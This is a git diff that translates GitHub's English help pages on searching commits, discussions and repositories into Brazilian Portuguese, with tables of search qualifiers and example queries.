-| <code>committer-name:<em>NAME</em></code> | [**committer-name:wanstrath**](https://github.com/search?q=committer-name%3Awanstrath&type=Commits) matches commits with "wanstrath" in the committer name.
+| Qualifier                 | Exemplo                                                                                                                                                         |
+| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>author-name:<em>NAME</em></code> | [**author-name:wanstrath**](https://github.com/search?q=author-name%3Awanstrath&type=Commits) identifica os commits com "wanstrath" no nome do autor.           |
+| <code>committer-name:<em>NAME</em></code> | [**committer-name:wanstrath**](https://github.com/search?q=committer-name%3Awanstrath&type=Commits) identifica os commits com "wanstrath" no nome do committer. |
 
-The `author-email` and `committer-email` qualifiers match commits by the author's or committer's full email address.
+Os qualificadores `author-email` e `committer-email` identificam commits pelo endereço de e-mail completo do autor ou committer.
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>author-email:<em>EMAIL</em></code> | [**author-email:chris@github.com**](https://github.com/search?q=author-email%3Achris%40github.com&type=Commits) matches commits authored by chris@github.com.
-| <code>committer-email:<em>EMAIL</em></code> | [**committer-email:chris@github.com**](https://github.com/search?q=committer-email%3Achris%40github.com&type=Commits) matches commits committed by chris@github.com.
+| Qualifier                 | Exemplo                                                                                                                                                                  |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code>author-email:<em>EMAIL</em></code> | [**author-email:chris@github.com**](https://github.com/search?q=author-email%3Achris%40github.com&type=Commits) identifica os commits de autoria de chris@github.com.    |
+| <code>committer-email:<em>EMAIL</em></code> | [**committer-email:chris@github.com**](https://github.com/search?q=committer-email%3Achris%40github.com&type=Commits) identifica os commits feitos por chris@github.com. |
 
-## Search by authored or committed date
+## Pesquisar por data de criação ou do commit
 
-Use the `author-date` and `committer-date` qualifiers to match commits authored or committed within the specified date range.
+Use os qualificadores `author-date` e `committer-date` para identificar commits criados ou feitos em um intervalo de datas específico.
 
 {% data reusables.search.date_gt_lt %}
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>author-date:<em>YYYY-MM-DD</em></code> | [**author-date:&lt;2016-01-01**](https://github.com/search?q=author-date%3A<2016-01-01&type=Commits) matches commits authored before 2016-01-01.
-| <code>committer-date:<em>YYYY-MM-DD</em></code> | [**committer-date:&gt;2016-01-01**](https://github.com/search?q=committer-date%3A>2016-01-01&type=Commits) matches commits committed after 2016-01-01.
+| Qualifier                 | Exemplo                                                                                                                                                             |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>author-date:<em>YYYY-MM-DD</em></code> | [**author-date:&lt;2016-01-01**](https://github.com/search?q=author-date%3A<2016-01-01&type=Commits) identifica os commits criados antes de 01-01-2016.       |
+| <code>committer-date:<em>YYYY-MM-DD</em></code> | [**committer-date:&gt;2016-01-01**](https://github.com/search?q=committer-date%3A>2016-01-01&type=Commits) corresponde a commits confirmados após 2016-01-01. |
 
-## Filter merge commits
+## Filtrar commits de merge
 
-The `merge` qualifier filters merge commits.
+O qualificador `merge` filtra os commits de merge.
 
-| Qualifier  | Example
-| ------------- | -------------
-| `merge:true` | [**merge:true**](https://github.com/search?q=merge%3Atrue&type=Commits) matches merge commits.
-| `merge:false` | [**merge:false**](https://github.com/search?q=merge%3Afalse&type=Commits) matches non-merge commits.
+| Qualifier     | Exemplo                                                                                                               |
+| ------------- | --------------------------------------------------------------------------------------------------------------------- |
+| `merge:true`  | [**merge:true**](https://github.com/search?q=merge%3Atrue&type=Commits) identifica os commits de merge.               |
+| `merge:false` | [**merge:false**](https://github.com/search?q=merge%3Afalse&type=Commits) identifica os commits que não são de merge. |
 
-## Search by hash
+## Pesquisar por hash
 
-The `hash` qualifier matches commits with the specified SHA-1 hash.
+O qualificador `hash` identifica os commits com o hash SHA-1 especificado.
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>hash:<em>HASH</em></code> | [**hash:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=hash%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits) matches commits with the hash `124a9a0ee1d8f1e15e833aff432fbb3b02632105`.
+| Qualifier                 | Exemplo                                                                                                                                                                                                                                     |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>hash:<em>HASH</em></code> | [**hash:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=hash%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits) identifica os commits com o hash `124a9a0ee1d8f1e15e833aff432fbb3b02632105`. |
 
-## Search by parent
+## Pesquisar por principal
 
-The `parent` qualifier matches commits whose parent has the specified SHA-1 hash.
+O qualificador `parent` identifica os commits cujo principal tem o hash SHA-1 especificado.
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>parent:<em>HASH</em></code> | [**parent:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=parent%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits&utf8=%E2%9C%93) matches children of commits with the hash `124a9a0ee1d8f1e15e833aff432fbb3b02632105`.
+| Qualifier                 | Exemplo                                                                                                                                                                                                                                                                    |
+| ------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>parent:<em>HASH</em></code> | [**parent:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=parent%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits&utf8=%E2%9C%93) identifica os commits secundários com o hash `124a9a0ee1d8f1e15e833aff432fbb3b02632105`. |
 
-## Search by tree
+## Pesquisar por árvore
 
-The `tree` qualifier matches commits with the specified SHA-1 git tree hash.
+O qualificador `tree` identifica os commits com o hash de árvore do Git SHA-1 especificado.
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>tree:<em>HASH</em></code> | [**tree:99ca967**](https://github.com/github/gitignore/search?q=tree%3A99ca967&type=Commits) matches commits that refer to the tree hash `99ca967`.
+| Qualifier                  | Exemplo                                                                                                                                                              |
+| -------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>tree:<em>HASH</em></code> | [**tree:99ca967**](https://github.com/github/gitignore/search?q=tree%3A99ca967&type=Commits) identifica os commits que fazem referência ao hash de árvore `99ca967`. |
 
-## Search within a user's or organization's repositories
+## Pesquisar nos repositórios de um usuário ou uma organização
 
-To search commits in all repositories owned by a certain user or organization, use the `user` or `org` qualifier. To search commits in a specific repository, use the `repo` qualifier.
+Para pesquisar commits em todos os repositórios de um determinado usuário ou organização, use os qualificadores `user` ou `org`. Para pesquisar commits em um repositório específico, use o qualificador `repo`.
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>user:<em>USERNAME</em></code> | [**gibberish user:defunkt**](https://github.com/search?q=gibberish+user%3Adefunkt&type=Commits&utf8=%E2%9C%93) matches commit messages with the word "gibberish" in repositories owned by @defunkt.
-| <code>org:<em>ORGNAME</em></code> | [**test org:github**](https://github.com/search?utf8=%E2%9C%93&q=test+org%3Agithub&type=Commits) matches commit messages with the word "test" in repositories owned by @github.
-| <code>repo:<em>USERNAME/REPO</em></code> | [**language repo:defunkt/gibberish**](https://github.com/search?utf8=%E2%9C%93&q=language+repo%3Adefunkt%2Fgibberish&type=Commits) matches commit messages with the word "language" in @defunkt's "gibberish" repository.
+| Qualifier                  | Exemplo                                                                                                                                                                                                                               |
+| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>user:<em>USERNAME</em></code> | [**gibberish user:defunkt**](https://github.com/search?q=gibberish+user%3Adefunkt&type=Commits&utf8=%E2%9C%93) identifica as mensagens do commit com a palavra "gibberish" nos repositórios de @defunkt.                              |
+| <code>org:<em>ORGNAME</em></code> | [**test org:github**](https://github.com/search?utf8=%E2%9C%93&q=test+org%3Agithub&type=Commits) identifica as mensagens do commit com a palavra "test" nos repositórios de @github.                                                  |
+| <code>repo:<em>USERNAME/REPO</em></code> | [**language repo:defunkt/gibberish**](https://github.com/search?utf8=%E2%9C%93&q=language+repo%3Adefunkt%2Fgibberish&type=Commits) identifica as mensagens do commit com a palavra "language" no repositório "gibberish" de @defunkt. |
 
-## Filter by repository visibility
+## Filtrar por visibilidade do repositório
 
-The `is` qualifier matches commits from repositories with the specified visibility. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
+O qualificador `is` corresponde a commits dos repositórios com a visibilidade especificada. Para obter mais informações, consulte "[Sobre repositórios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)".
 
-| Qualifier  | Example
-| ------------- | ------------- |
+| Qualifier | Exemplo |
+| --------- | ------- |
+|           |         |
 {%- ifversion fpt or ghes or ghec %}
 | `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Commits) matches commits to public repositories.
 {%- endif %}
 {%- ifversion ghes or ghec or ghae %}
 | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Commits) matches commits to internal repositories.
 {%- endif %}
-| `is:private` | [**is:private**](https://github.com/search?q=is%3Aprivate&type=Commits) matches commits to private repositories.
+| `is:private` | [**is:private**](https://github.com/search?q=is%3Aprivate&type=Commits) corresponde aos commits dos repositórios privados.
 
-## Further reading
+## Leia mais
 
-- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)"
+- "[Ordenar os resultados da pesquisa](/search-github/getting-started-with-searching-on-github/sorting-search-results/)"
diff --git a/translations/pt-BR/content/search-github/searching-on-github/searching-discussions.md b/translations/pt-BR/content/search-github/searching-on-github/searching-discussions.md
index dfd0e87b86..575e2d6054 100644
--- a/translations/pt-BR/content/search-github/searching-on-github/searching-discussions.md
+++ b/translations/pt-BR/content/search-github/searching-on-github/searching-discussions.md
@@ -1,6 +1,6 @@
 ---
-title: Searching discussions
-intro: 'You can search for discussions on {% data variables.product.product_name %} and narrow the results using search qualifiers.'
+title: Pesquisar discussões
+intro: 'Você pode pesquisar discussões em {% data variables.product.product_name %} e limitar os resultados usando os qualificadores de busca.'
 versions:
   fpt: '*'
   ghec: '*'
@@ -11,108 +11,104 @@ redirect_from:
   - /github/searching-for-information-on-github/searching-on-github/searching-discussions
 ---
 
-## About searching for discussions
+## Sobre a pesquisa de discussões
 
-You can search for discussions globally across all of {% data variables.product.product_name %}, or search for discussions within a particular organization or repository. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/about-searching-on-github)."
+É possível pesquisar discussões globalmente em todos os {% data variables.product.product_name %} ou pesquisar discussões dentro de uma determinada organização ou repositório. Para obter mais informações, consulte "[Sobre a pesquisa no {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/about-searching-on-github)".
 
 {% data reusables.search.syntax_tips %}
 
-## Search by the title, body, or comments
+## Pesquisar por título, texto ou comentários
 
-With the `in` qualifier you can restrict your search for discussions to the title, body, or comments. You can also combine qualifiers to search a combination of title, body, or comments. When you omit the `in` qualifier, {% data variables.product.product_name %} searches the title, body, and comments.
+Com o qualificador `in`, você pode restringir sua pesquisa por discussões sobre título, texto ou comentários. Você também pode combinar os qualificadores para pesquisar uma combinação de título, texto ou comentários. Ao omitir o qualificador `in` qualificador, {% data variables.product.product_name %} irá pesquisar o título, o texto e os comentários.
 
-| Qualifier | Example |
-| :- | :- |
-| `in:title` | [**welcome in:title**](https://github.com/search?q=welcome+in%3Atitle&type=Discussions) matches discussions with "welcome" in the title. |
-| `in:body` | [**onboard in:title,body**](https://github.com/search?q=onboard+in%3Atitle%2Cbody&type=Discussions) matches discussions with "onboard" in the title or body. |
-| `in:comments` | [**thanks in:comments**](https://github.com/search?q=thanks+in%3Acomment&type=Discussions) matches discussions with "thanks" in the comments for the discussion. |
+| Qualifier     | Exemplo                                                                                                                                                          |
+|:------------- |:---------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `in:title`    | [**welcome in:title**](https://github.com/search?q=welcome+in%3Atitle&type=Discussions) corresponde discussões ao título "welcome".                              |
+| `in:body`     | [**onboard in:title,body**](https://github.com/search?q=onboard+in%3Atitle%2Cbody&type=Discussions) corresponde discussões com "onboard" no título ou texto.     |
+| `in:comments` | [**thanks in:comments**](https://github.com/search?q=thanks+in%3Acomment&type=Discussions) corresponde discussões com "thanks" nos comentários para a discussão. |
 
-## Search within a user's or organization's repositories
+## Pesquisar nos repositórios de um usuário ou uma organização
 
-To search discussions in all repositories owned by a certain user or organization, you can use the  `user` or `org` qualifier. To search discussions in a specific repository, you can use the `repo` qualifier.
+Para pesquisar discussões em todos os repositórios pertencentes a um determinado usuário ou organização, você pode usar o qualificador `usuário` ou `org`. Para pesquisar discussões em um repositório específico, você pode usar o qualificador `repositório`.
 
-| Qualifier | Example |
-| :- | :- |
-| <code>user:<em>USERNAME</em></code> | [**user:octocat feedback**](https://github.com/search?q=user%3Aoctocat+feedback&type=Discussions) matches discussions with the word "feedback" from repositories owned by @octocat. |
-| <code>org:<em>ORGNAME</em></code> | [**org:github**](https://github.com/search?q=org%3Agithub&type=Discussions&utf8=%E2%9C%93) matches discussions in repositories owned by the GitHub organization. |
-| <code>repo:<em>USERNAME/REPOSITORY</em></code> | [**repo:nodejs/node created:<2021-01-01**](https://github.com/search?q=repo%3Anodejs%2Fnode+created%3A%3C2020-01-01&type=Discussions) matches discussions from @nodejs' Node.js runtime project that were created before January 2021. |
+| Qualifier                 | Exemplo                                                                                                                                                                                                                                              |
+|:------------------------- |:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>user:<em>USERNAME</em></code> | [**user:octocat feedback**](https://github.com/search?q=user%3Aoctocat+feedback&type=Discussions) corresponde discussões com a palavra "feedback" dos repositórios pertencentes ao @octocat.                                                         |
+| <code>org:<em>ORGNAME</em></code> | [**org:github**](https://github.com/search?q=org%3Agithub&type=Discussions&utf8=%E2%9C%93) corresponde discussões em repositórios pertencentes à organização do GitHub.                                                                              |
+| <code>repo:<em>USERNAME/REPOSITORY</em></code> | [**repo:nodejs/node created:<2021-01-01**](https://github.com/search?q=repo%3Anodejs%2Fnode+created%3A%3C2020-01-01&type=Discussions) corresponde discussões do projeto do tempo de execução do Node.js do @nodejs criadas antes de janeiro de 2021. |
 
-## Filter by repository visibility
+## Filtrar por visibilidade do repositório
 
-You can filter by the visibility of the repository containing the discussions using the `is` qualifier. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
+Você pode filtrar pela visibilidade do repositório que contém as discussões que usam o qualificador `is`. Para obter mais informações, consulte "[Sobre repositórios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)".
 
-| Qualifier  | Example
-| :- | :- |{% ifversion fpt or ghes or ghec %}
-| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Discussions) matches discussions in public repositories.{% endif %}{% ifversion ghec %}
-| `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Discussions) matches discussions in internal repositories.{% endif %}
-| `is:private` | [**is:private tiramisu**](https://github.com/search?q=is%3Aprivate+tiramisu&type=Discussions) matches discussions that contain the word "tiramisu" in private repositories you can access.
+| Qualifier  | Example | :- | :- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Discussions) matches discussions in public repositories.{% endif %}{% ifversion ghec %} | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Discussions) matches discussions in internal repositories.{% endif %} | `is:private` | [**is:private tiramisu**](https://github.com/search?q=is%3Aprivate+tiramisu&type=Discussions) matches discussions that contain the word "tiramisu" in private repositories you can access.
 
-## Search by author
+## Pesquisar por autor
 
-The `author` qualifier finds discussions created by a certain user.
+O qualificador do `autor` encontra discussões criadas por um determinado usuário.
 
-| Qualifier | Example |
-| :- | :- |
-| <code>author:<em>USERNAME</em></code> | [**cool author:octocat**](https://github.com/search?q=cool+author%3Aoctocat&type=Discussions) matches discussions with the word "cool" that were created by @octocat. |
-| | [**bootstrap in:body author:octocat**](https://github.com/search?q=bootstrap+in%3Abody+author%3Aoctocat&type=Discussions) matches discussions created by @octocat that contain the word "bootstrap" in the body. |
+| Qualifier                 | Exemplo                                                                                                                                                                                                            |
+|:------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code>author:<em>USERNAME</em></code> | [**cool author:octocat**](https://github.com/search?q=cool+author%3Aoctocat&type=Discussions) corresponde a discussões com a palavra "cool" criadas por @octocat.                                                  |
+|                           | [**bootstrap in:body author:octocat**](https://github.com/search?q=bootstrap+in%3Abody+author%3Aoctocat&type=Discussions) corresponde a discussões criadas por @octocat que contêm a palavra "bootstrap" no texto. |
 
-## Search by commenter
+## Pesquisar por autor do comentário
 
-The `commenter` qualifier finds discussions that contain a comment from a certain user.
+O qualificador `commenter` encontra discussões que contêm um comentário de um usuário específico.
 
-| Qualifier | Example |
-| :- | :- |
-| <code>commenter:<em>USERNAME</em></code> | [**github commenter:becca org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Abecca+org%3Agithub&type=Discussions) matches discussions in repositories owned by GitHub, that contain the word "github," and have a comment by @becca.
+| Qualifier                 | Exemplo                                                                                                                                                                                                                                                                       |
+|:------------------------- |:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>commenter:<em>USERNAME</em></code> | [**github commenter:becca org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Abecca+org%3Agithub&type=Discussions) corresponde às discussões em repositórios pertencentes ao GitHub, que contêm a palavra "github" e que têm um comentário de @becca. |
 
-## Search by a user that's involved in a discussion
+## Procurar por um usuário envolvido em uma discussão
 
-You can use the `involves` qualifier to find discussions that involve a certain user. The qualifier returns discussions that were either created by a certain user, mention the user, or contain comments by the user. The `involves` qualifier is a logical OR between the `author`, `mentions`, and `commenter` qualifiers for a single user.
+Você pode usar o qualificador `envolve` para encontrar discussões que envolvam um determinado usuário. O qualificador retorna discussões que ou foram criadas por um determinado usuário, menciona o usuário, ou contém comentários feitos pelo usuário. O qualificador `involves` é um operador lógico OU entre os qualificadores `autor`, `mentions` e `commenter` para um único usuário.
 
-| Qualifier | Example |
-| :- | :- |
-| <code>involves:<em>USERNAME</em></code> | **[involves:becca involves:octocat](https://github.com/search?q=involves%3Abecca+involves%3Aoctocat&type=Discussions)** matches discussions either @becca or @octocat are involved in.
-| | [**NOT beta in:body involves:becca**](https://github.com/search?q=NOT+beta+in%3Abody+involves%3Abecca&type=Discussions) matches discussions @becca is involved in that do not contain the word "beta" in the body.
+| Qualifier                 | Exemplo                                                                                                                                                                                           |
+|:------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>involves:<em>USERNAME</em></code> | **[envolves:becca envolve:octocat](https://github.com/search?q=involves%3Abecca+involves%3Aoctocat&type=Discussions)** corresponde às discussões em que @becca ou @octocat estão envolvidos.      |
+|                           | [**NOT beta in:body involves:becca**](https://github.com/search?q=NOT+beta+in%3Abody+involves%3Abecca&type=Discussions) corresponde a discussões @becca que não contêm a palavra "beta" no texto. |
 
-## Search by number of comments
+## Pesquisar por número de comentários
 
-You can use the `comments` qualifier along with greater than, less than, and range qualifiers to search by the number of comments. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+Você pode usar o qualificador `comments` com os qualificadores maior que, menor que e intervalo para pesquisar pelo número de comentários. Para obter mais informações, consulte "[Entender a sintaxe de pesquisa](/github/searching-for-information-on-github/understanding-the-search-syntax)".
 
-| Qualifier | Example |
-| :- | :- |
-| <code>comments:<em>n</em></code> | [**comments:&gt;100**](https://github.com/search?q=comments%3A%3E100&type=Discussions) matches discussions with more than 100 comments.
-| | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Discussions) matches discussions with comments ranging from 500 to 1,000.
+| Qualifier                 | Exemplo                                                                                                                                                         |
+|:------------------------- |:--------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>comments:<em>n</em></code> | [**comments:&gt;100**](https://github.com/search?q=comments%3A%3E100&type=Discussions) corresponde a discussões com mais de 100 comentários.              |
+|                           | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Discussions) corresponde a discussões com comentários que variam de 500 a 1.000. |
 
-## Search by number of interactions
+## Pesquisar por número de interações
 
-You can filter discussions by the number of interactions with the `interactions` qualifier along with greater than, less than, and range qualifiers. The interactions count is the number of reactions and comments on a discussion. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+Você pode filtrar discussões pelo número de interações com o qualificador de `interações` com os qualificadores maior que, menor que e intervalo. A contagem das interações é o número de reações e comentários em uma discussão. Para obter mais informações, consulte "[Entender a sintaxe de pesquisa](/github/searching-for-information-on-github/understanding-the-search-syntax)".
 
-| Qualifier | Example |
-| :- | :- |
-| <code>interactions:<em>n</em></code> | [** interactions:&gt;2000**](https://github.com/search?q=interactions%3A%3E2000) matches discussions with more than 2,000 interactions.
-| | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) matches discussions with interactions ranging from 500 to 1,000.
+| Qualifier                 | Exemplo                                                                                                                                               |
+|:------------------------- |:----------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>interactions:<em>n</em></code> | [** interactions:&gt;2000**](https://github.com/search?q=interactions%3A%3E2000) corresponde a discussões com mais de 2.000 interações.     |
+|                           | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) corresponde a discussões com interações que variam de 500 a 1.000. |
 
-## Search by number of reactions
+## Pesquisar por número de reações
 
-You can filter discussions by the number of reactions using the `reactions` qualifier along with greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+Você pode filtrar discussões pelo número de reações usando o qualificador de `reações`, junto os qualificadores maior que, menor que e de intervalo. Para obter mais informações, consulte "[Entender a sintaxe de pesquisa](/github/searching-for-information-on-github/understanding-the-search-syntax)".
 
-| Qualifier | Example |
-| :- | :- |
-| <code>reactions:<em>n</em></code> | [** reactions:&gt;1000**](https://github.com/search?q=reactions%3A%3E500) matches discussions with more than 500 reactions.
-| | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) matches discussions with reactions ranging from 500 to 1,000.
+| Qualifier                 | Exemplo                                                                                                                               |
+|:------------------------- |:------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>reactions:<em>n</em></code> | [** reactions:&gt;1000**](https://github.com/search?q=reactions%3A%3E500) corresponde a discussões com mais de 500 reações. |
+|                           | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) corresponde a discussões com 500 a 1.000 reações.        |
 
-## Search by when a discussion was created or last updated
+## Procurar por quando uma discussão foi criada ou quando foi atualizada por último
 
-You can filter discussions based on times of creation, or when the discussion was last updated. For discussion creation, you can use the `created` qualifier; to find out when an discussion was last updated, use the `updated` qualifier.
+Você pode filtrar discussões com base no tempo de criação, ou quando a discussão foi atualizada pela última vez. Para a criação de discussões, você pode usar o qualificador `criado`; para saber quando uma discussão foi atualizada pela última vez, use o qualificador `atualizada`.
 
-Both qualifiers take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
+Ambos os qualificadores tomam uma data como parâmetro. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
 
 {% data reusables.search.date_gt_lt %}
 
-| Qualifier | Example |
-| :- | :- |
-| <code>created:<em>YYYY-MM-DD</em></code> | [**created:>2020-11-15**](https://github.com/search?q=created%3A%3E%3D2020-11-15&type=discussions) matches discussions that were created after November 15, 2020.
-| <code>updated:<em>YYYY-MM-DD</em></code> | [**weird in:body updated:>=2020-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2020-12-01&type=Discussions) matches discussions with the word "weird" in the body that were updated after December 2020.
+| Qualifier                  | Exemplo                                                                                                                                                                                                                                |
+|:-------------------------- |:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>created:<em>YYYY-MM-DD</em></code>  | [**created:>2020-11-15**](https://github.com/search?q=created%3A%3E%3D2020-11-15&type=discussions) corresponde a discussões que foram criadas após 15 de novembro de 2020.                                                             |
+| <code>updated:<em>YYYY-MM-DD</em></code> | [**weird in:body updated:>=2020-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2020-12-01&type=Discussions) corresponde a discussões com a palavra "weird" no texto que foram atualizadas após dezembro de 2020. |
 
-## Further reading
+## Leia mais
 
-- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)"
+- "[Ordenar os resultados da pesquisa](/search-github/getting-started-with-searching-on-github/sorting-search-results/)"
diff --git a/translations/pt-BR/content/search-github/searching-on-github/searching-for-repositories.md b/translations/pt-BR/content/search-github/searching-on-github/searching-for-repositories.md
index f12649f07a..f646dddd8c 100644
--- a/translations/pt-BR/content/search-github/searching-on-github/searching-for-repositories.md
+++ b/translations/pt-BR/content/search-github/searching-on-github/searching-for-repositories.md
@@ -1,6 +1,6 @@
 ---
-title: Searching for repositories
-intro: 'You can search for repositories on {% data variables.product.product_name %} and narrow the results using these repository search qualifiers in any combination.'
+title: Pesquisar repositórios
+intro: 'Você pode pesquisar repositórios no {% data variables.product.product_name %} e limitar os resultados usando qualquer combinação dos qualificadores de pesquisa de repositórios.'
 redirect_from:
   - /articles/searching-repositories
   - /articles/searching-for-repositories
@@ -13,193 +13,190 @@ versions:
   ghec: '*'
 topics:
   - GitHub search
-shortTitle: Search for repositories
+shortTitle: Pesquisar repositórios
 ---
-You can search for repositories globally across all of {% data variables.product.product_location %}, or search for repositories within a particular organization. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)."
 
-To include forks in the search results, you will need to add `fork:true` or `fork:only` to your query. For more information, see "[Searching in forks](/search-github/searching-on-github/searching-in-forks)."
+Você pode pesquisar repositórios globalmente no {% data variables.product.product_location %} ou pesquisar em uma organização específica. Para obter mais informações, consulte "[Sobre a pesquisa no {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)".
+
+Para incluir bifurcações nos resultados da pesquisa, você precisará adicionar `fork:true` ou `fork:only` à sua consulta. Para obter mais informações, consulte "[Pesquisar em bifurcações](/search-github/searching-on-github/searching-in-forks)".
 
 {% data reusables.search.syntax_tips %}
 
-## Search by repository name, description, or contents of the README file
+## Pesquisar por nome do repositório, descrição ou conteúdo do arquivo README
 
-With the `in` qualifier you can restrict your search to the repository name, repository description, contents of the README file, or any combination of these. When you omit this qualifier, only the repository name and description are searched.
+Com o qualificador `in`, você pode restringir a pesquisa ao nome do repositório, descrição do repositório, conteúdo do arquivo README ou qualquer combinação desses itens. Quando você omite esse qualificador, somente o nome e a descrição do repositório são pesquisados.
 
-| Qualifier  | Example
-| ------------- | -------------
-| `in:name` | [**jquery in:name**](https://github.com/search?q=jquery+in%3Aname&type=Repositories) matches repositories with "jquery" in the repository name.
-| `in:description`  | [**jquery in:name,description**](https://github.com/search?q=jquery+in%3Aname%2Cdescription&type=Repositories) matches repositories with "jquery" in the repository name or description.
-| `in:readme` | [**jquery in:readme**](https://github.com/search?q=jquery+in%3Areadme&type=Repositories) matches repositories mentioning "jquery" in the repository's README file.
-| `repo:owner/name` | [**repo:octocat/hello-world**](https://github.com/search?q=repo%3Aoctocat%2Fhello-world) matches a specific repository name.
+| Qualifier         | Exemplo                                                                                                                                                                                       |
+| ----------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `in:name`         | [**jquery in:name**](https://github.com/search?q=jquery+in%3Aname&type=Repositories) corresponde aos repositórios com "jquery" no nome do respositório.                                       |
+| `in:description`  | [**jquery in:name,description**](https://github.com/search?q=jquery+in%3Aname%2Cdescription&type=Repositories) corresponde aos repositórios com "jquery" no nome ou descrição do repositório. |
+| `in:readme`       | [**jquery em:readme**](https://github.com/search?q=jquery+in%3Areadme&type=Repositories) corresponde aos repositórios que mencionam "jquery" no arquivo README do repositório.                |
+| `repo:owner/name` | [**repo:octocat/hello-world**](https://github.com/search?q=repo%3Aoctocat%2Fhello-world) identifica um nome de repositório específico.                                                        |
 
-## Search based on the contents of a repository
+## Pesquisar com base no conteúdo do repositório
 
-You can find a repository by searching for content in the repository's README file using the `in:readme` qualifier. For more information, see "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)."
+Você pode encontrar um repositório pesquisando pelo conteúdo no arquivo README do repositório usando o qualificador `in:readme`. Para obter mais informações, consulte "[Sobre README](/github/creating-cloning-and-archiving-repositories/about-readmes)".
 
-Besides using `in:readme`, it's not possible to find repositories by searching for specific content within the repository. To search for a specific file or content within a repository, you can use the file finder or code-specific search qualifiers. For more information, see "[Finding files on {% data variables.product.prodname_dotcom %}](/search-github/searching-on-github/finding-files-on-github)" and "[Searching code](/search-github/searching-on-github/searching-code)."
+Além de usar o `in:readme`, não é possível encontrar repositórios pesquisando um conteúdo específico no repositório. Para pesquisar um arquivo ou conteúdo específico em um repositório, você pode usar o localizador de arquivos os qualificadores de pesquisa específicos para código. Para obter mais informações, consulte "[Localizar arquivos no {% data variables.product.prodname_dotcom %}](/search-github/searching-on-github/finding-files-on-github)" e "[Pesquisar códigos](/search-github/searching-on-github/searching-code)".
 
-| Qualifier  | Example
-| ------------- | -------------
-| `in:readme` | [**octocat in:readme**](https://github.com/search?q=octocat+in%3Areadme&type=Repositories) matches repositories mentioning "octocat" in the repository's README file.
+| Qualifier   | Exemplo                                                                                                                                                                           |
